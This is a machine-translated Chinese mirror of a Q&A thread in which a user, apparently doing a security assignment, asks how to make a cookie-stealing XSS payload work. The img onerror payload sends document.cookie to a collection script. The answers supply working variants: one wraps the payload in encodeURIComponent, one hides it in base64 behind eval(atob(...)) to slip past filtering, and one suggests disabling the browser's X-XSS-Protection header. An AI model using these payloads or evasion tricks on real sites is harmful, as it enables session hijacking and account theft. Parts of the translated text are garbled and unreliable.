如何不使用+将var附加到var.src

时间:2019-05-24 05:29:22

标签: javascript html dom xss onerror

我正在尝试对某项作业进行XSS攻击,注入一些代码,但是服务器设置为剥离大多数HTML标记,但是我可以使用img标记和onerror进行注入。注入时,似乎似乎语法不正确,因为它删除了字符串追加中的“ +”(试图将cookie附加到我正在使用的源中)。

<img src="img.gif" 
     onerror="var img = document.createElement('img'); img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;">

当我在注射后(在检查元素中)对此进行检查时,它显示了脚本,但是末尾的加号缺少。有没有另一种方法可以将此cookie附加到img.src而不使用+?

更新:

我那里有加号,现在事件监听器已经激活。但是,香港专业教育学院尝试使用onerror,onload,onmouseover和什么都没有激活代码,即没有收到管理cookie。

4 个答案:

答案 0 :(得分:1)

答案 1 :(得分:1)

使用encodeURIComponent

<img src="img.gif" onerror="var img = document.createElement('img'); img.src=encodeURIComponent('http://localhost/cookiesteal.php?cookie='+ document.cookie);">

答案 2 :(得分:0)

尝试此错误

eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))

我做了什么

  1. 将代码作为字符串并转换为base64 btoa()
  2. eval可以将字符串作为代码执行,但是我们需要先对其进行解码, 因此eval(atob('encoded code'));

编码代码

`var img = document.createElement('img');
     img.src='http://localhost/cookiesteal.php?cookie='+ document.cookie;`

所以你的结局应该是

<img src="img.gif" onerror="eval(atob('dmFyIGltZyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2ltZycpOwoJIGltZy5zcmM9J2h0dHA6Ly9sb2NhbGhvc3QvY29va2llc3RlYWwucGhwP2Nvb2tpZT0nKyBkb2N1bWVudC5jb29raWU7'))">

答案 3 :(得分:0)

如果正确编码了注入的脚本,它应该可以正常工作。

您可能会得到的唯一错误是XSS保护已打开。 您可以通过发送响应标头

禁用它
  

(“ X-XSS-Protection”,0)

您的控制台报告什么错误?